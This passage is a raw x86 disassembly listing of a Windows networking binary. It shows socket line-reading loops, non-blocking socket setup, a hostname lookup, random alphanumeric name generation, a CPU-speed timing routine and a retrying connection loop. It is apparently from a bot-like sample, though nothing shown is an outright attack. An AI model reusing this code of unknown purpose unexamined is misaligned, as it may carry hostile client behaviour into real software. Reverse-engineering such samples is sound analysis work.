xor ebx, ebx cmp al, bl jnz short loc_41AC52 loc_41AC48: ; CODE XREF: ___:0041AC8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC52: ; CODE XREF: ___:0041AC46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ACB6 mov edi, ebp loc_41AC6B: ; CODE XREF: ___:0041ACB4j cmp edi, ebx jz short loc_41ACB6 cmp [esp+18h], bl jz short loc_41ACB6 call sub_40196A test al, al jz short loc_41ACB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AC48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ACA1 cmp al, 0Dh jz short loc_41ACA1 cmp al, bl jnz short loc_41ACA9 loc_41ACA1: ; CODE XREF: ___:0041AC97j ; ___:0041AC9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ACA9: ; CODE XREF: ___:0041AC9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC6B loc_41ACB6: ; CODE XREF: ___:0041AC67j ; ___:0041AC6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD00: ; CODE XREF: ___:004021A3j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AD1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD1C: ; CODE XREF: ___:0041AD12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AD32 loc_41AD28: ; CODE XREF: ___:0041AD6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: ___:0041AD26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AD9D mov edi, ebp loc_41AD4B: ; CODE XREF: ___:0041AD9Bj cmp edi, ebx jz short loc_41AD9D cmp [esp+18h], bl jz short loc_41AD9D call sub_40196A test al, al jz short loc_41AD9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AD28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AD7D cmp al, bl jnz short loc_41AD90 loc_41AD7D: ; CODE XREF: ___:0041AD77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AD8A mov [esi+ebp-1], bl jmp short loc_41AD8C ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: ___:0041AD82j mov [edi], bl loc_41AD8C: ; CODE XREF: ___:0041AD88j mov [esp+18h], bl loc_41AD90: ; CODE XREF: ___:0041AD7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AD4B loc_41AD9D: ; CODE XREF: ___:0041AD47j ; ___:0041AD4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ADE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41ADF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADF2: ; CODE XREF: ___:0041ADEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE03: ; CODE XREF: ___:0041ADFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax call near ptr 71AB951Eh nop pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AE30 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41AE42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41AE30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE53: ; CODE XREF: sub_41AE30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AE30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE80: ; CODE XREF: ___:00401C53j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41AEBF cmp eax, 0FFFFFFFFh jz short loc_41AEB5 cmp [esi+80Bh], cl jz short loc_41AEB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEB5: ; CODE XREF: ___:0041AE9Ej ; ___:0041AEA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEBF: ; CODE XREF: ___:0041AE99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41AEF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEF5: ; CODE XREF: ___:0041AEE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: ___:004016EFj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AF6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF6D: ; CODE XREF: ___:0041AF61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AFA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AFA9: ; CODE XREF: ___:0041AF9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AFF0: ; CODE XREF: ___:00401744j push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41B090 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41B090: ; CODE XREF: sub_41B060+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0E0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C49 mov dword ptr [esi], offset off_43F0C0 mov eax, esi pop esi retn sub_41B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40187A test [esp+4+arg_0], 1 jz short loc_41B128 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B128: ; CODE XREF: sub_41B110+Dj mov eax, esi pop esi retn 4 sub_41B110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B140 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43F0C0 add ecx, 4 jmp sub_401FE6 sub_41B140 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B160 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 push esi push edi call sub_40196A test al, al jnz short loc_41B172 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B172: ; CODE XREF: sub_41B160+9j mov esi, [esp+8+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41B1C5 push esi call near ptr 71AB4FD4h nop mov edi, eax test edi, edi jnz short loc_41B197 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B197: ; CODE XREF: sub_41B160+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B1AC loc_41B1A1: ; CODE XREF: sub_41B160+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B1A1 loc_41B1AC: ; CODE XREF: sub_41B160+3Fj call sub_401F0A dec esi push esi push 0 call sub_4021C6 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B1C5: ; CODE XREF: sub_41B160+20j pop edi pop esi retn 4 sub_41B160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B1F0: ; CODE XREF: ___:004020B3j push 0FFFFFFFFh push offset loc_43C007 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40196A test al, al jnz short loc_41B22F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401870 jmp loc_41B3DB ; --------------------------------------------------------------------------- loc_41B22F: ; CODE XREF: ___:0041B218j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401870 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017EE test eax, eax push offset byte_448F30 jnz short loc_41B26C mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B26C: ; CODE XREF: ___:0041B256j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_448F30 jnz short loc_41B292 mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B292: ; CODE XREF: ___:0041B27Cj lea ecx, [esp+18h] call sub_401870 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017EE push eax call sub_4382C2 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B2D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov [esp+0Ch], edi jmp loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B2D6: ; CODE XREF: ___:0041B2BBj mov edi, [esp+10h] mov esi, offset dword_4447F8 mov ecx, [edi] mov eax, [ecx+4] loc_41B2E4: ; CODE XREF: ___:0041B302j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B308 cmp cl, bl jz short loc_41B304 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B308 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B2E4 loc_41B304: ; CODE XREF: ___:0041B2EEj xor eax, eax jmp short loc_41B30D ; --------------------------------------------------------------------------- loc_41B308: ; CODE XREF: ___:0041B2EAj ; ___:0041B2F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B30D: ; CODE XREF: ___:0041B306j cmp eax, ebx jz short loc_41B37B push ebp loc_41B312: ; CODE XREF: ___:0041B365j ; ___:0041B369j nop call near ptr 27F0C4Bh and eax, 0Fh cmp al, 8 jnz short loc_41B326 cmp word ptr [edi+8], 0Fh jz short loc_41B36B loc_41B326: ; CODE XREF: ___:0041B31Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B332 mov edi, ebp loc_41B332: ; CODE XREF: ___:0041B32Ej mov eax, [edi+4] mov esi, offset dword_4447F8 loc_41B33A: ; CODE XREF: ___:0041B358j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B35E cmp cl, bl jz short loc_41B35A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B35E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B33A loc_41B35A: ; CODE XREF: ___:0041B344j xor eax, eax jmp short loc_41B363 ; --------------------------------------------------------------------------- loc_41B35E: ; CODE XREF: ___:0041B340j ; ___:0041B34Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B363: ; CODE XREF: ___:0041B35Cj cmp eax, ebx jnz short loc_41B312 mov edi, ebp jmp short loc_41B312 ; --------------------------------------------------------------------------- loc_41B36B: ; CODE XREF: ___:0041B324j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015E1 pop ebp jmp short loc_41B388 ; --------------------------------------------------------------------------- loc_41B37B: ; CODE XREF: ___:0041B30Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015E1 loc_41B388: ; CODE XREF: ___:0041B379j push offset byte_448F30 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B3A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015E1 loc_41B3A8: ; CODE XREF: ___:0041B398j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov dword ptr [esp+0Ch], 1 loc_41B3C0: ; CODE XREF: ___:0041B2D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B3CE: ; CODE XREF: ___:0041B267j ; ___:0041B28Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B3DB: ; CODE XREF: ___:0041B22Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B490: ; CODE XREF: ___:00402153j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov dword ptr [esi], offset off_43F0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE0 test [esp+4+arg_0], 1 jz short loc_41B4E8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj mov eax, esi pop esi retn 4 sub_41B4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B500 proc near ; CODE XREF: sub_401BE0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B500 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B500 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B570: ; CODE XREF: ___:00401D52j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43F0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B5B0 proc near ; CODE XREF: sub_401686j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B6C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B6C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401492 mov ebp, dword_5118D8 test al, al jnz short loc_41B613 loc_41B5E9: ; CODE XREF: sub_41B5B0+61j mov al, [edi+10h] test al, al jz loc_41B6AF mov al, byte_4E8E44 test al, al jz short loc_41B613 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401492 test al, al jz short loc_41B5E9 loc_41B613: ; CODE XREF: sub_41B5B0+37j ; sub_41B5B0+4Bj mov al, [edi+10h] test al, al jz loc_41B6AF loc_41B61E: ; CODE XREF: sub_41B5B0+F9j mov al, byte_4E8E44 test al, al jz loc_41B6AF test esi, esi jnz short loc_41B64E push 80Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B64A push esi mov ecx, eax call sub_401C49 jmp short loc_41B64C ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej xor eax, eax loc_41B64C: ; CODE XREF: sub_41B5B0+98j mov esi, eax loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B95 test al, al jnz short loc_41B667 push 7D0h call ebp jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B667: ; CODE XREF: sub_41B5B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4018A2 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B6A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j ; sub_41B5B0+E8j mov al, [edi+10h] test al, al jnz loc_41B61E loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej ; sub_41B5B0+68j ... mov ecx, ebx call sub_4014E7 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj ; sub_41B5B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B5B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B720: ; CODE XREF: ___:00401C35j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B795 mov esi, ebp loc_41B73F: ; CODE XREF: ___:0041B793j cmp esi, ebx jz short loc_41B795 cmp [esp+18h], bl jz short loc_41B795 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call near ptr 71AB615Ah nop cmp eax, ebx jz short loc_41B7A4 cmp eax, 0FFFFFFFFh jz short loc_41B7A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B79D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B780 cmp al, 0Dh jz short loc_41B780 cmp al, bl jnz short loc_41B788 loc_41B780: ; CODE XREF: ___:0041B776j ; ___:0041B77Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B788: ; CODE XREF: ___:0041B77Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B73F loc_41B795: ; CODE XREF: ___:0041B73Bj ; ___:0041B741j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B79D: ; CODE XREF: ___:0041B76Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B7A4: ; CODE XREF: ___:0041B75Aj ; ___:0041B75Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B84A mov edi, ebp loc_41B7FF: ; CODE XREF: sub_41B7E0+68j cmp edi, ebx jz short loc_41B84A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B84A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B859 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B82A cmp al, bl jnz short loc_41B83D loc_41B82A: ; CODE XREF: sub_41B7E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B837 mov [esi+ebp-1], bl jmp short loc_41B839 ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E0+4Fj mov [edi], bl loc_41B839: ; CODE XREF: sub_41B7E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B83D: ; CODE XREF: sub_41B7E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B7FF loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B7E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B7E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B880: ; CODE XREF: ___:00401AF0j push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B8DB loc_41B8A6: ; CODE XREF: ___:0041B8D9j push 3 push 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B8C7 dec eax jz short loc_41B8C1 dec eax jnz short loc_41B8D6 push 7Ah push 61h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C1: ; CODE XREF: ___:0041B8B6j push 5Ah push 41h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C7: ; CODE XREF: ___:0041B8B3j push 39h push 30h loc_41B8CB: ; CODE XREF: ___:0041B8BFj ; ___:0041B8C5j call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B8D6: ; CODE XREF: ___:0041B8B9j inc esi cmp esi, ebp jl short loc_41B8A6 loc_41B8DB: ; CODE XREF: ___:0041B8A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401424j rdtsc retn sub_41B900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B920 proc near ; CODE XREF: sub_4017FDj var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_5118D8 push ebp push esi push edi xor ebp, ebp loc_41B92F: ; CODE XREF: sub_41B920+43j ; sub_41B920+4Dj call sub_401424 push 3E8h mov esi, eax mov edi, edx call ebx call sub_401424 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_437C60 push ebp push 0Ah push edx push eax call sub_437C60 cmp edx, ebp mov esi, eax ja short loc_41B92F jb short loc_41B96F cmp esi, 0F4240h ja short loc_41B92F loc_41B96F: ; CODE XREF: sub_41B920+45j push ebp push 64h push edx push esi call sub_437BE0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B9F9 jb short loc_41B98F cmp ecx, 50h jnb short loc_41B998 loc_41B98F: ; CODE XREF: sub_41B920+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B998: ; CODE XREF: sub_41B920+6Dj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9A3 cmp ecx, 47h jnb short loc_41B9AC loc_41B9A3: ; CODE XREF: sub_41B920+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B9AC: ; CODE XREF: sub_41B920+81j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9B7 cmp ecx, 37h jnb short loc_41B9C0 loc_41B9B7: ; CODE XREF: sub_41B920+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B9C0: ; CODE XREF: sub_41B920+95j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9CB cmp ecx, 26h jnb short loc_41B9D4 loc_41B9CB: ; CODE XREF: sub_41B920+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B9D4: ; CODE XREF: sub_41B920+A9j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9DF cmp ecx, 1Eh jnb short loc_41B9E8 loc_41B9DF: ; CODE XREF: sub_41B920+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B9E8: ; CODE XREF: sub_41B920+BDj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9F3 cmp ecx, 0Ah jnb short loc_41B9F9 loc_41B9F3: ; CODE XREF: sub_41B920+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B9F9: ; CODE XREF: sub_41B920+66j ; sub_41B920+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BA50 proc near ; CODE XREF: sub_402040j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41BA50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_449729 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BBAF push ebp lea ecx, [esp+50h+var_3C] call sub_40142E push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C71 mov ebp, eax call sub_401F0A lea ecx, [esp+50h+var_3C] call sub_4013E3 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 2820000h test eax, eax jnz short loc_41BAE6 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41BAE6: ; CODE XREF: sub_41BA50+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41BAEF: ; CODE XREF: sub_41BA50+A9j cmp ecx, eax jnz short loc_41BAF5 mov bl, 1 loc_41BAF5: ; CODE XREF: sub_41BA50+A1j inc eax cmp eax, 5Bh jl short loc_41BAEF mov eax, 61h loc_41BB00: ; CODE XREF: sub_41BA50+BAj cmp ecx, eax jnz short loc_41BB06 mov bl, 1 loc_41BB06: ; CODE XREF: sub_41BA50+B2j inc eax cmp eax, 7Bh jl short loc_41BB00 test bl, bl jnz short loc_41BB32 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BB32: ; CODE XREF: sub_41BA50+BEj mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 